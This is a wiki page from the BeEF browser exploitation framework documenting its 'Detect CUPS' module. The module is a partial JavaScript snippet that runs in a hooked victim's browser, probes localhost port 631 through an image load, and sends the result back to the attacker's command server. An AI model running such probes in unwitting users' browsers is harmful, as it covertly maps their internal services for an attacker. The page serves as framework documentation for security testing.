-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Detect CUPS
Haoxi Tan edited this page Jan 8, 2020
·
2 revisions
-
Objective: Detect CUPS on localhost
-
Authors: bcoles
-
Browsers: All
This module attempts to detect Common UNIX Printing System (CUPS) on localhost on the default port 631.
Uses image tags:
var result = "Not Installed";
var dom = document.createElement('b');
var img = new Image;
img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png";
img.onload = function() {
if (this.width == 128 && this.height == 128) result="Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success());
dom.removeChild(this);
}
//...
dom.appendChild(img);
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK